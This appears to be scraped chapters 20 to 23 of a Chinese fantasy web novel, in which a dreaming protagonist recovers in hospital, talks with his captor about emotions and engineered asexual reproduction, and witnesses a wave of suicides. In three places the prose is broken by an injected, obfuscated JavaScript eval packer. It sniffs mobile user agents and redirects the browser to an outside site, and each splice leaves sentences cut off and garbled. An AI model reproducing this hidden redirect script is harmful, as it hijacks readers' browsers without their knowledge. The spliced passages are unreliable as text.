“好!姐,是我头脑不清晰太冲动,咱公事公办,一会儿人来了我就跟他们走,后续也处理好。”季山月倒也不含糊。 季水风看向季山月,眼里是悲痛,季山月没有明白那个眼神的意义,他以为是自己太过于任性让姐姐心累了,便默默发誓以后绝不这样! 季水风说:“等你出来找机会去跟时咎道歉吧。” 季山月不解道:“为什么?我讨厌舟之覆,他的人我也讨厌!” 季水风一个眼神过来他立刻闭嘴了。 季水风说:“这件事你有几个错误,一,无论你再讨厌对方,公共场合打架是你先。二,你的身份职位就要求你更不可以这样行事!三,时咎的情况你不清楚就主观判断,自以为是!” 说得季山月头埋很深,只能闷闷道:“我会好好想想的。” 季水风:“好。” “但是……”季山月继续说,“那个地震,我真的不知道。” 季水风闭上眼,深呼吸,呼吸着这苦涩的空气,如同逝去的时光,她说:“嗯,这个我会去查的。” 办公室的门被推开,季山月在季水风的注视下被人带走了。 恢复安静,季水风重重叹气,她走到窗边默默蹲下来,看向窗外不远处的城市,目光游离很久终于锁定在一户人家的窗户上,远得有些看不清,但大致是在那儿。 好像窗户里亮着灯,也许那里面的人正在吃晚饭,也许正在看新闻,也密切关注着今天发生的一切。她用手抱住膝盖,下巴轻放在膝盖上,一直盯着那个地方,自言自语呢喃道:“都怪我……” 夜晚的医院还有人在不停走动,来来回回一直有脚步声,病房新收了几个病人,但好在几个病人的情况还算乐观,大多数都是受惊吓,或者一些皮外伤,听他们说是因为肇事者保护了他们,所以没有人被倒下来的书架伤害到,除了有一个。 时咎从手术室出来后,眼睛还没睁开就一直在想同样的问题:好痛,几点了?怎么还没醒?天亮没啊?我睡前设闹钟了吗? 抱着这样的想法,他似乎在病床上睡了一觉又一觉,直到某个时刻醒来,梦外天还没亮,梦里天倒是亮了,接着他看到沉皑趴在床边,头埋在胳膊中间,似乎睡着了,时咎一开始没注意所以动了一下,然后沉皑抬起头。 20. 第 20 章 时咎一动就浑身疼,看自己被包装的样子就知道大概率是脸也肿了,腿也骨折了。 “别乱动。”沉皑低声皱眉道,语气不算好。 时咎只能看天花板,他不爽地说:“你怎么在这里?”看上去只有动嘴比较好,而且动嘴都有一股嘴里包着东西说话的感觉。 “季水风通知我的。”沉皑说。这一段时间,时咎出现在他身边会告知他去图书馆,直到关门时间他就会回办公室休息,自己则是回自己的住所,结果今天过了该回来的时间很久,办公室的沙发床还是没被摆出来,他想也许是做别的去了,正要自己离开就接到季水风的电话,他便赶往医院。 时咎还在手术室的时候,医院需要签字,看着“关系”那一栏,他犹豫了很久,因为没有想过这个问题,好像什么关系都不是,不是陌生人,不是朋友,不是上下属,不是亲人,什么都不是,但最终,他还是写下了“朋友”两个字。 所以时咎在手术结束后疼得不行的时候,旁边有护士安慰他:“麻药刚过,忍一下,忍一下,你的朋友已经在外面等着你了,很快就好。” 那会儿意识模糊的时咎根本没有想这个问题不对的地方,在这他有朋友了? 时咎觉得没那么严重,于是他说:“你在这儿一晚上了?” 沉皑抿唇后说:“没有。” 时咎没有追问,他半闭着眼,没有太多力气说:“哦,还有没有人受伤?” 在这之前沉皑已经去看过了,发现那些人都是轻伤,有的查看了一会儿就走了,有的则是住了一晚上确认没事也出院了,一来二去,竟也只有时咎一个人在医院躺到了第二天太阳升起之后。 “没有了。”沉皑低声说。 时咎松口气,又觉得无语,他想到最后还有意识时候的画面,恹恹地问:“季山月救了他们?” “嗯,是帮一些人没有被后续伤害到。”沉皑顿住,后面的话没说出来。 季水风通知他后不久,又打了电话来,跟他详细说明了一下当时的情况,所以他知道时咎那会儿被书架压住后,季山月把他救出来,但整个事件本身也是季山月引起,只是季山月性格冲动、脾气暴躁,却并没有致人死地的念头,出气归出气,救人归救人,但他和季山月有足够亲密的关系,在这个时候再向时咎多说一句,都显得是在帮季山月开脱。 听到季山月的名字,时咎也觉得很烦躁,他没有再追问,而是缓缓说:“算了,没别人受伤就好。” 沉皑觉得他逞强得有些可爱,便淡淡勾了下嘴角说:“只有你最严重,倒担心别人。” 时咎嗤笑,结果拉到伤口,疼得他过了好一会儿才接上话:“我不怕啊,我现在下床四肢粉碎都无所谓,估计一会儿我就醒了,醒了我就消失,下次再来的时候又是一条好汉。” 竟然打的还是这个主意,沉皑觉得倒也说得过去,但并不认同他的极端。 想到这里,时咎模糊的记忆涌了上来,他不太确定道:“我是不是,把图书馆砸了?” “小范围是。” 时咎闭着眼,心里在思考。 从他进入梦中到现在,他能表现出来的像做梦人的地方只有瞬移,并且是以沉皑为中心,这是第一次有了瞬移以外的能力展现。 不过他不太能分清这是一项新的能力,还是因为当时他情绪极端化,梦在崩塌导致的结果。 还需要一些时间来验证。 时咎突然想到什么,问:“你今天没工作?” “有,不急。”沉皑回答。 时咎也没赶人走,躺在床上无所事事观察天花板,想了想又叹了口气:“那你最好在这儿陪着我,我可真没别的太熟的人了。” 敌人也是人。时咎想抬手,但做不到,只能随口说:“你看到这个脖环了吗?既然是你给我套上的,就要对我负责。” 沉皑平淡:“知道你在说什么吗?” 时咎无所谓:“知道啊,我故意的。” 又不是真的要他怎样,话谁不会说?他还想很挑衅地说:有本事打开我的脖环啊?你不是要麻醉我吗? “嗯。”沉皑低应,感觉听上去像敷衍,于是沉皑跳过这个话题,只回答了时咎的上一句话,“知道你在这儿没别的认识的人,好好躺着吧,梦醒之前我都在这。” 时咎懒散的眼皮突然就全部睁开了,他觉得疑惑,但又释然,接着又不太理解,想了半天好像又觉得理所应当。 他不知道沉皑说这种让人感觉窝心的话是出自于真情还是假意,是来源于他的心还是他的脑子,因为感受不到用心的情感,一切话语便都流于表面,但又确实是会听了让人感动的话。 真的好奇怪的人。 所以时咎的记忆又窜回到最初那天,他想着想着便问沉皑:“喂,我还是很想知道,你那个时候说‘是你’到底有什么故事?” 沉皑轻轻皱眉,又很快放松,他淡淡地说:“不要一直纠结这个问题,每个人都有一些经历罢了。” 但时咎跟他想的不一样,他说:“我不纠结你的隐私,只是和你认识的时间里,我感觉你是一个没有、或者很难有情绪的人,即使有,大多数也是不走心的表面功夫,除了第一次见面让我觉得你是一个正常人。” 沉皑觉得这样的描述很可笑,于是语气都漫不经心了许多:“也许是你的感觉出问题,也许是我有情绪,只是没必要什么都表露出来。” “不一样。”时咎接着他的话,“我想说的情绪,不是要用语言或者神情表达的,是一种直观感受,一种频率。我可以很轻易感受到别人的情绪,包括藏着不愿意说的东西,比如季山月的愤怒和冲动,但里面有对你的关心和细腻;季水风的平静,里面却包罗了非常多的风浪和心事;舟之覆的无谓和疯癫,我却看到了他的自卑与不甘,包括那位掌权者助理,我之前看到过一眼,他的谦逊背后是高傲不屑。” 时咎努力想描述出那种感觉,但是他描述不出来,想加上肢体语言,可惜身体也动不了,于是所有波澜只能倒影在眼睛里。 “我能感受到的,是不通过语言描述的那部分。但是对于你,除了最初,我再也没有感受到任何,不是你藏了什么,是你没有。”时咎说得很认真,突然又想到什么,“或许上次你去检查进化失败,看着那个小孩的时候也算一次。” 时咎都不知道自己记得那么清楚,慢慢数出来,发现自己把沉皑的很多细节都记住了。 对一个人了解最深的,是他的敌人。时咎心想。 沉皑默不作声好一会儿,在想些什么,但是在他看向时咎,说出来的话却是:“分析别人,会让你觉得有掌控感吗?” 时咎顿时嗤笑出声,身体的疼痛也忽然明显了起来。他着实在电光火石间思索了一下分析别人给自己带来的感受,但发现那只是一些不自觉的动作,于是他无所谓般道:“你看,这就是语言的局限性,如果顺着你的话回答,我的答案是否定的。第一,我确实没有刻意去分析谁,是感受自然被我接纳;第二,如果我刻意分析了,也并不来自于你想说的我缺乏的掌控感,而是一种职业病,我的专业涉及、包括我的父母让我从小都潜移默化学习心理学呃……” 在说这句话的时候,时咎突然感觉到窒息,那是一种心脏突然被抓住的窒息,这导致他接下来的话被堵在嘴边,那种揪心感连着身体的疼痛如实向脑神经传递着某种痛苦。 原本以为是不知处的毛病,可当时咎抬头时,却心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187312|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一悸。他看到沉皑在看他,坐在床边,保持着胳膊放在床沿的姿势,眼睛里的情绪不加掩饰地翻涌,随即又抽帧一般覆灭。 时咎的话还没说完,但也没收住,只能顿了一下,接着不太自然地说:“虽然不是专门研究它呃,你怎么了?” 时咎觉得难以置信,原来这窒息来源于沉皑,而他前一秒还在说沉皑没有情绪,就迅速感知到他,他感知到了沉皑再一次的情绪波动,如此强烈,如此震颤。 时咎张了张嘴,没能说出话。他想:那是什么? 沉皑捏紧了拳头,随后在一声微微叹息里,把所有风起云涌尽数收了个干干净净。 “没事。”他平静地说。 “真没事?” “嗯。” 沉皑站起来,拿了病床边的水和吸管过来,问他:“喝水吗?” 时咎摇头。 “好吧,需要就叫我。”沉皑将水放回去,便又在原处坐下。 两个人没有说话,互相静默地看着不同的地方,心事在病房里堆砌成厚厚的墙。 时咎觉得,沉皑淡然的背后还有什么汹涌的东西,有时候感觉他想释放,有时候又觉得他不想释放,无数思绪在脑子里峰回路转,便只剩下一个词——克制。 而沉皑觉得,时咎现在似乎有些不太高兴,但更多的是无奈,那种无奈没有消极的意思,只是一种——孤独。 灰色的光逐渐包围沉皑,当他意识到自己揣摩了时咎的思绪时,便如梦初醒一样抬头,就看到了这些灰色流光。 他愣住了,他须臾想起那个已经忘记的梦:站在时咎的房间里,这些灰色的光也曾包围过他。 而现在这些流光却真实出现了,他看向时咎,发现时咎还在看天花板,并没有注意到他的异常。 他轻轻抓了一些光,又捏拳,这些光便消失了。 察觉到动静,时咎转过头疑惑地看向他。 “没事,休息吧。”沉皑低声说。 时咎朝他眨眨眼。 “怎么了?”沉皑问。 时咎的眼珠子上下转了两圈,打量着沉皑说:“烦,突然发现你比我帅,有点不能忍。” 沉皑:“……” 时咎确实没有主动打量过沉皑,曾经每次见面都水深火热,后来又各有事,实在没有心思还能想到关注一下对方的外貌。 沉皑真的很高,与其说是脸好看,不如说是气质更佳。 他的眼睛实在太吸引人,双眼深蓝色,像潜入便窒息的海底,也像坠落便尸骨无存的深渊。 似乎从来见他都只会穿一身黑,那双眼睛便是他无边黑夜里唯一的色彩。矮靴,身上没有任何多余的装饰,干净简洁,一股军事风,皮肤偏小麦色,是长期在太阳下运动的健康肤色。 他只是在那不动,就如同一幅立体绘画,有如文艺复兴初期置身于和谐自然中的、吉贝尔蒂的浮雕作品。 “看够了吗?”沉皑问,他发觉时咎那直勾勾毫不加掩饰的目光已经把他从头到尾扫描透了。 “还可以。”时咎回答道。 外面传来敲门声,接着护士走进来,她看到沉皑,礼貌叫了一声:“沉先生。” 有的伤口要重新换药,脸上红肿的地方也重新盖了冰块,时咎痛得不想说话,只想赶快睡醒,怎么梦里的痛感也真实得让人难以忍受啊。 见他狰狞的模样,沉皑竟笑了一下,顿感心情舒畅许多。 时咎生气:“蓝……沉……啧!你真没礼貌!嘶!”结果说话声音动作太大,扯到伤口。 护士责怪他:“别激动啊,不想好啦?” 时咎没敢说话,沉皑的笑意却更明显了。 我恨他。时咎心想。 21. 第 21 章 天偏不遂人愿,时咎总觉得一定马上就能醒来了,可他在医院了躺了好些时间,躺到他已经可以慢慢走动了,这个梦还没醒,从来没有这么希望梦醒过。 沉皑白天会回起源实验室忙一会儿,通常到下午一些就会来医院。 时咎最开始还觉得有点不太自在,但沉皑说,他在这儿没有别的朋友,如果自己不来,把他一个人放在这儿,也会觉得内心不安。着实把时咎感动了一把,但在沉皑嘲笑他走路太慢姿势太怪后,这个感动也烟消云散,变成理之当然。 深夜的医院安静得连空气流速也放慢,时咎沿墙扶着把手慢慢走着,沉皑则是在旁边默默跟着,也没主动扶他,只是在某一刻觉得时咎好像重心不稳时会拉一下。 沉默里只有两个人轻悄的脚步声,没过多久,又多了救护车的声音,从很远的地方慢慢靠近,跃过窗台,直达两个人的耳里。 时咎慢慢走到窗边趴着往下看,看到一辆救护车停在旁边那栋楼的楼下,几个医生从救护车里推出来一个人,仔细看是孕妇,她的身下还有血。 再过了好一会儿,时咎听到路过的护士在讨论产科刚刚收了一位高龄产妇,但还好一切顺利。 夜晚的风偏暖了,或许是夏天快到了,不知道恩德诺的夏天会不会和地球一样热得令人烦闷,也不知道是否会有海风吹来,再把烦闷带走。 时咎趴着,吹着风,过了一会儿他突然问:“你们的高龄产妇,多大算高龄?” 沉皑看着远处依然随处灯火不灭的城市,说:“50以上吧,医疗条件允许在这个年龄。” 时咎有些吃惊:“这男人也是心大啊,命不是自己的。” 沉皑突然想起什么似的,声音柔和地说:“我是不是没跟你说过,我们可以无性繁殖?” 通过CRISPR-CAS9等一系列手段编辑个体基因组,或者利用体细胞重编程,将体细胞转化成多能干细胞,诱导一部分变成卵子,或者自行选择个体遗传物质用自我复制的方法进行繁殖,也可以胚胎体外培养,随意选择。 “嗯?”时咎一时间脑子没转过来。 看来他是真的不知道,沉皑叹气,跟他解释:“恩德诺没有性别分化,所有人都是雌雄同体的,可以无性繁殖,刚刚那个孕妇,这么晚来医院也没人一起,应该是自己的意愿在这个年龄怀孕的。” “等一下。”时咎觉得自己脑子里有点乱,“无性繁殖,意思就是,男人女人都可以生孩子?” 却听沉皑否定道:“男人女人只是一个特征,都是人,是人,就可以生孩子。” “啊……我懂了,所以,怀孕生子不是两个人的事,而是一个人就可以决定的?” “嗯。” 时咎更疑惑了,他问道:“但是,既然大家都是雌雄同体,不需要不同性别结合繁衍,为什么大家还是有男女之分?” 沉皑笑了笑,刚好一阵暖风吹过来了,时咎看着他,不知道暖的是风还是他的笑。 他依然解释道:“性别显现是个人选择,用男性示人,女性示人,是公民的自由意愿,没有什么特殊的含义。可以自己单独生孩子,也可以两个人在一起生孩子,看上去有的是男女在一起,有的是两个男人或者两个女人在一起,都一样,他们可以是任何性别的组合,因为每个人的本质都是无性,是男人也是女人。” 但这样就带来一个新的想法,时咎问:“这儿的人也会结婚吗?那出生的小孩,还能算爱情的结晶?” 沉皑好像也是第一次听说这个用词,他有点疑惑轻声重复了一遍:“爱情的结晶?” “对。” 沉皑思索了一会儿,大致明白时咎的意思,但依然不懂里面的逻辑,他皱眉说:“爱情的结晶,不也就是爱情?有爱情的两个人在一起,做任何事不都是爱情本身?你的意思……但是,独立就可以繁衍后代,没人会为了繁衍后代结婚,结婚的唯一目的只有爱情。爱就是爱,小孩就是小孩,小孩不一定和爱情有因果关系。这样的说法,任何事都可以是爱情的结晶。” 沉皑想着,依然没能理解到时咎说这个词背后所指是什么,但时咎是明白了,他点头,没有多余再谈论,而是说:“所以这里的人的性别,都是自己选择的结果,如果他们愿意,也可以是另一种性别。” “嗯。” 时咎想起这些时间里自己看到的人,他问:“我感觉是不是女生更多一些?我看到的,你们更喜欢用女性的性别角色吗?” 沉皑想想说:“目前的文明程度大部分人都愿意是女性。因为虽然性别只是一种表象,但表象代表的东西各不相同,男性是力量与权威,以前战争年代的时候,大部分人都是男性表象,因为需要征服开拓、集结成家国,要生存就需要体力,这些东西都只能是男性才能发挥到极致。后来文明稳定,社会成型,从物质需求转向精神需求,男性原始力量的用武之地就少很多,反而过于原始的本性会一定程度影响文明发展的上限。人们喜欢温和的、善良的、美好的品质,对于情感需求多了,创造、高度精神化,都是更偏女性的特征,形象思维比逻辑思维就更适合这个时局。所以一般是,动乱年代男性形象的更多,和平年代喜欢女性形象的人更多。” 原来如此。时咎蓦然点头,脑子里还在若有所思。 “那……”时咎突然有了一个大胆的想法,“你会用女性形象吗?” 沉皑认真想了想说:“还没试过,但可以,如果有必要的话。” 时咎其实有点猎奇,他完全无法想象沉皑这种性格的人如果是女性形象会是什么感觉,或许跟季水风类似,但气质应该更疏离一些。 “那你现在换一个我看看。”时咎朝他点了点下巴。 沉皑淡淡看了他一眼,说:“看在你住院的份上,原谅你的胆大包天。” 时咎没忍住笑出来,他转身面向医院的走廊,空荡荡的,很久才会有一个护士匆匆走过。 “我记得,上次在图书馆说季雨雪是一名合成生物学家。”时咎回忆起,但在当时,她的成就已经斐然了,“所以恩德诺的生物学方面,应该已经很发达了?” 沉皑轻轻点头,但又用不确定的语气说:“我不知道怎么算发达。但是后人在季雨雪的研究基础上,确实设计出了很多新的生物系统,对原有生物系统进行了深度改造,起源实验室就是其一。不过我听说,教化所里运用的生物科技是目前恩德诺最先进的,因为涉及公民的全方位改造。” “无性繁殖也是改造的结果吗?”时咎问。 “是。” 时咎想想说:“在我们那儿,合成生物学是一个还算新的科学领域,粮食作物、绿色能源、合成基因,都还在摸索中。” 沉皑无声笑道:“我曾经在历史书上看到,季雨雪因为研究合成生物学遭受过迫害。” “迫害?”时咎惊讶。 “嗯,因为物种起源计划也不是所有人都认同的,总有人认为这是某种毁灭性发明。所以她后来提示后人,要小心发展合成生物学,这是一把双刃剑,好的会便于公民,但利用这个技术也有可能研发出某种恐怖的传染病毒,被恐怖主义用于制造生化武器。” 生化武器。时咎想到了虚疑病,想到了他来这段时间里越来越多的自杀新闻,随即他想到一种可能性——沉皑之前说没人知道虚疑病是如何找上自己的,如果这种传染病就是为了让人们自发的互相信任,而不是使用物理性进化呢? 季雨雪既然知道合成生物学是把双刃剑,却还是利用自己的能力强行制造了起源进化,获得了百年和平。 医院的大屏幕在滚动播放各个院区的信息。两个人在医院的长廊里一边走一边聊天,聊到大厅,看到大屏幕显示前不久在产科出生了一名婴儿,取名叫:季晚。 前后时间只有这一名婴儿的诞生,时咎看见那个名字,便说:“季晚?我猜是刚刚救护车送来那个母亲的孩子。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沉皑沉默了一会儿,听时咎接着说:“比如我,虽然我的固定工作是音乐治疗,主要工作包括视觉设计,但是我对很多艺术领域都感兴趣,所以我说的艺术,就是通俗能想到的艺术,音乐、美术、摄影、建筑、设计、雕塑、创意……” “喜欢。”沉皑说,“很少有人不喜欢。” 时咎突然反应过来,这是恩德诺,艺术创作是他们的快乐来源。 “有特别喜欢的吗?” “摄影、音乐,还有电影。”沉皑想想说。 “等我好了一起去看个电影?当我答谢你这段时间一直照顾我。”时咎认真地说。 然而看着他认真的神情,沉皑无言笑出来:“时咎,你真的很敢说。” “什么?”时咎完全不懂,他转身的姿势有点大,差点没站稳,沉皑过来扶住了他。 “我是说……”沉皑好像觉得他的姿势很容易倒,干脆将他的手拉起环过自己的脖子,再搂着他的腰,让他一部分体重靠在自己身上。 他继续说:“大胆、冲动、不考虑后果。” 时咎不屑地叹气,尽管如此,他并没有对此时自己是靠着对方在走路而有哪怕收敛一点的意思。 他说道:“你说得没错,但也不对,我是喜欢做一些别人不敢做的事,但并不全是冲动,也没有不考虑后果,而是我觉得我活着,至少要挑战自己的常规,可能是职业也会塑造人格,我不喜欢模具里的人生,所以我想到了我就做了,后果那也是我自己该承担的,我能承担我就会做。” 沉皑没有回应他的话,而是再次说了三个词:“挑战、勇敢、喜欢自由。” 时咎愣了一下,随即释怀般,他拍了拍沉皑搂住自己腰的手,轻声说:“有没有说过你这个人真的很怪?” “没有。” “每次都让我觉得很生气,但气到临头,气过了,又觉得你挺好的。” “谢谢夸奖。” 路过一扇窗,时咎眼尖看到很远处一座山,虽然看不真切,但借着城市的光还是看了个大概。 他能一眼注意到那座山不是别的,而是因为它造型奇特:一个圆润的弧形,像巨人头部的上半部分埋在土里,最奇特的是山上似乎全是树林,唯一没有树木的地方就是它的山顶,从远处看来,就像一个秃顶的人。 沉皑顺着他的目光看过去,神色淡然地解释:“蘑菇山,那边闹鬼没人住。” 闹鬼没人住的地方?时咎皱起眉,虽然看不清那里的具体情况,但那光秃秃的山顶,给人感觉很不好。 22. 第 22 章 图书馆塌陷的那一块很快重建好了,公民们自发接龙、马不停蹄地把书架定做好,书籍全部整理好,以最快的速度让图书馆重新开始运营。 而在安全中心蹲了一个月监狱的季山月终于被放出来,放出来后就开始全城跑,全城去找当时被误伤的公民道歉赔偿,但职位依然没恢复,似乎要等安全中心和掌权者的重审。 恰好季山月被季水风拉着去医院的那天,是时咎出院的当天,但是—— 时咎完好无损,什么伤痕骨折好像都是幻觉,能跑能跳,出院检查的时候医生护士都震惊到心想这是什么医学奇迹,最后还是沉皑冷不丁地解释说:他有自愈的能力。 然后时咎自己补充了一句:但是有冷却时间。 一众医护人员:…… 斗殴后首次见面,时咎没跟季山月说话,季山月也憋着一口气,最后在他姐的眼神里,极其不自然地说:“时,时咎,对不起,我,哎呀,妈的,我在不了解的情况下跟你动手,对不起!”说完抓狂地抹了把脸。 季山月的记忆只停留在他和舟之覆打架那天,亲眼看到时咎去帮舟之覆的时候,后来他全城巡逻没回来,这边发生了什么他一概不知,抱着对舟之覆的仇视动手,但是后来季水风跟他说了一下最近发生的事后,他傻眼了,觉得故事的发展不应该啊?但这还好!他最无法接受的是来跟时咎道歉,却发现自己的好兄弟居然在这里照顾了对方一个月?不是,他为了他的兄弟揍了一顿的人,他兄弟照顾了人家一个月?!那他不就纯小丑? 想到这个,季山月更抓狂了。 不是诶,沉皑什么时候……他是不是癫了? 站在医院走廊,季山月现场表演了一段神经症人格全套发病症状。 时咎判断,季山月的年龄最多20岁刚成年。 欣赏完疯狂之后,时咎没再摆冷脸,但也没换什么多好的脸色,只是平常地点头,说:“好,过了。” 季山月幽怨地瞪着沉皑。 沉皑:? 季水风问时咎:“之前你住院我没来打扰你,但是我想知道,图书馆的事,是你做的吗?” 时咎:“是。” 季水风微微点头:“所以你的能力到底是?” 时咎如实回答:“还不清楚。” 季水风了然,她柔和地说:“你也别担心,文明中心我已经交代过了,重建工作也结束了。” 季水风正还要说什么,四个人前方突然窜过来一道很快的人影,这个人影二话不说就往季水风身上扑去。 “姐!我想你啦!!”小女孩的声音,闷在衣服里依然能听出兴奋与快乐。 季山月立刻伸手去拎她,不爽地说:“诶这死小孩,起开!言不恩!起开!这是我姐!我亲姐!” 言不恩抱着季水风不撒手,只将脸转过来,眼睛挑衅般眨了眨,幽幽看着季山月,嘲笑他:“对啊是你亲姐,你也可以像我一样扑到姐姐怀里深呼吸吗?” 季山月脸都气绿了。 时咎看向沉皑,沉皑低声说:“一个长辈的孩子,从小跟着我们三个一起长大,就是喜欢季水风。” 时咎了然。原来他们三个一起长大。 眼见两个人又要吵起来,季水风将手指放在嘴唇处,温柔地摸了摸言不恩的头发,说:“嘘,在医院。” 言不恩还是不松手,并学着季水风的语气,看着季山月说:“听到了吗?在医院,别吵。” 季山月发誓出了医院就把言不恩拖出来打一顿。 言不恩抱够了便从季水风怀里出来,然后牵起她的手,疑惑地看向时咎,指着他说:“这个哥哥就是之前被季山月打的哥哥吗?” 说着她又窜到了时咎身边,在时咎讶异的眼神里牵起他的手说:“我是言不恩,我爸爸是言威。你很讨厌季山月对吧?我也是,做个朋友吧,敌人的敌人就是朋友。” 时咎心想:这话能这么用? 季山月被气死了,忽然发现自己怎么四处树敌。 季水风想笑,她把言不恩拉过来,温柔说:“好了,也17岁了,以后要成为掌权者,不能一直这么幼稚。” 言不恩不领情,她不屑地说:“我不幼稚,我也不想当掌权者,我只想当姐姐的小公主。”继续蹭季水风。 季山月在言不恩背后张牙舞爪,心里骂骂咧咧说怎么17岁的小女孩茶里茶气的。 就在这时,医院急诊通道突然亮了红灯,并发出一阵急促的警告声。走廊上没几个人,但听到声音都立刻靠墙走路,很快,走廊尽头的电梯门开了,几个医生推着一张病床急匆匆赶出来。 沉皑把时咎拦在边缘,说:“小心点,有急诊病人。” 医生和病床由远及近,再擦身而过,时咎看到病床上躺着一位男性,但他的嘴唇发白,整个病床上都是血,盖住他身体的薄被子上也是血。 言不恩捂住自己的眼睛躲季水风身后去了。 病床急匆匆进了手术室,后面又赶过来几个快步的护士。 沉皑问了一句:“怎么了?” 有一位护士看见他,愣了一下停住脚步说:“沉先生。那个是刚刚打急救送来的病人,医院接到电话说这位患者在家企图自杀,被家人发现了,还好发现得快送过来了,但是能不能救活还不知道。很奇怪,最近不知道怎么自杀率增加了,收到很多自杀病人了。” 沉皑皱眉,对她说:“好我知道了,谢谢。” 护士立刻快步离开。 沉皑站在原地没动,看向手术室的目光裹上了浓浓的思虑,他听见时咎在他耳边说:“你上次说过,不正常,对吗?” 他回过头,却见身后的三个人都看向自己,只有言不恩藏在季水风身后没露头。 季山月也少有的没有咋咋呼呼,他小声喃喃道:“又有人自杀了,我前段时间大城区全城巡查,查到最近一个月居然有接近十起自杀案件。” “文明中心广场也是。”季水风补充道。 时咎问:“正常是怎样?” 季山月说:“半年一两起应该差不多吧,操。”说完发现自己居然主动回答了时咎,差点一巴掌拍到自己嘴上。 沉皑皱眉道:“都注意一下。” 那样的语气让时咎觉得惴惴不安,让他总有种山雨欲来风满楼的感觉,只是在场的每一个人都什么都没说,好像说出口,就有什么从地里破土而出,但地里原本什么都不应该存在。 如果两百年前的虚疑病卷土重来,两百年后的公民们该如何应对? 时咎思索着,如果上次监狱里遇到的青少年就是虚疑病患者,最终在监狱自杀,那他觉得,两百年后的今天或许依然无解。 言不恩察觉到气氛不太对,她企图缓和一下,于是小心翼翼说道:“我最近想出去旅游,有人跟我一起吗?” 季水风比她高将近20公分,轻松抬手捏了捏她的肩,说:“等我有假期吧,安全管理中心很忙的。” 言不恩眼睛都亮了:“那我让我父亲给你放假!” 季水风一下笑出来,她说:“好啊。” 时咎跟着沉皑回了起源实验室,季山月也大摇大摆跟过来,他给的理由很充分,他理直气壮地说:“我怕时咎对你不利,我得看着!” 时咎无语:“神经,谁对谁更不利你要不要看清楚?” 季山月不认,眼神刀了时咎一遍又一遍,还跟沉皑说:“之前说他是瞬移,结果他把图书馆震垮了!” 他盯着时咎,就恨自己的目光无法洞穿人心:“你的能力到底是什么?你真不知道?” “不知道。” 时咎也不知道怎么解释“梦”的事,他觉得他花费了很大的功夫才让沉皑相信,季水风则完全是意料之外,但季山月这样的性格,解释起来无疑更是一场灾难,所以他觉得不解释反而最好,就把这种意识影响梦境的现象称为他的“能力”。 “真不知道假不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女孩们从电影院出来,手挽手大声笑着,她们没说话,只是一会儿就大笑出来,或许在意识沟通着刚刚的电影情节,其中一个女孩指着路边小吃摊,于是她们跑了过去,路边摊看上去很干净,香味也很难让人拒绝,女孩们点的食物摆盘精美地放在她们面前,食物的香味便顺着空气一路钻进公交车上被主人抱着的宠物鼻子里。 小宠物馋得站起来,两只腿趴在车窗沿,四处寻找香味来自于哪,却又被路边戴着耳机跳舞的少年吸引,小宠物看不懂,只觉得闹腾。 那位少年在学新的舞,本来只是随意在街上练习,但没想到还有人给他鼓掌,他跳完后,朝他临时的观众们微微鞠躬,转身想去收拾自己的东西,目光却无意对上了街对面陌生人的眼睛,他向街对面巧合对视的人笑了一下。 时咎也朝他笑。 走过一条街,又过一条马路,繁华的闹市和安静的居民区都在身后,耸入云端的高楼陷入安眠。 后半夜,大部分店铺都关门了时咎才往回走,再两分钟就已经可以走到文明中心的广场了。 但就在这时,突然一个人影出现在他面前,是一个老头,他走得很快,就在时咎前方不远处,一边走,一边还在说什么。 无人的大街,常亮的暖光路灯,寂寂的轻风把一切声响都放大了。 时咎没在意,只打算回去休息,走了几个小时已经有些累。 却不想那老头冷不伶仃在街上看到一个人,什么也没想便冲他疾步走过去了。 他一把抓住时咎,被突然束缚的时咎吓得一个激灵,那老头嘴里念叨的东西终于听真切了。 “祂要来了,祂要来了,快跑,祂在盯着我——”随后是一长串的尖叫,那种尖叫时咎第一次听到,发自一个老年人最尖锐的恐惧,声音瞬间回荡在整条空旷的街。 路两边的树摇晃起来,树叶响成一团糟,像在回应,在深夜的街上显得格外瘆人。 “祂要降临了!!” “谁都活不了了!!” “祂苏醒了!!!”老人癫狂大喊,嗓子已经破音了还是察觉不到继续撕裂他的声带。 时咎将手一甩,立刻往后退了好几步,恍惚间有种分不清他在梦里还是已经醒了的感觉,他还在想他要不要报警,接下来的一幕让他僵直在原地。 那老头掏出一把刀,时咎迅速做出防御姿势,考虑如何正当防卫,那老头却看也没看时咎一眼,直直将刀捅进自己肚子里,连捅很多下,最后在时咎震惊的眼神中跪倒在自己的血泊里。 一阵大风吹起来了,从长街一头席卷到另一头,卷起地上的树叶。 23. 第 23 章 很快,医院和安全中心便派人来了,分别没多久的季水风看见时咎,稍显惊讶,将他叫到旁边亲自提审。 时咎直接把前因后果告诉季水风,大街上不是监控死角,确认监控后,季水风让时咎可以先离开。 医院的人很快把老人带走了,安全中心的人在有条不紊收拾。 那会儿天已经蒙蒙亮,现场在有公民出现前已经清理得差不多,他们互相配合,还有人在指挥他们的配合。 那种场景并不会给人留下好印象,但季水风好像很习惯,她指挥好现场,看见时咎还没走,便过来问他:“还好吗?需要我送你回去吗?你住哪……啊,我忘记了,你,你住沉皑家吗?” 时咎摇头道:“我就在他办公室,可以自己回去,但是……”时咎看了一下已经没有痕迹的现场,接下来的话没问出口。 季水风好像知道他想说什么,她把长发拨到耳后,叹气:“我也不知道怎么回事,这段时间确实一直这样,可能是我们的文明出了某些问题。我不清楚,但是,我会尽全力挖出原因,让生活恢复平静的。” 她看上去也有点累,但她很快收起疲惫的眼神,笑着对时咎说:“没吓到你吧?” 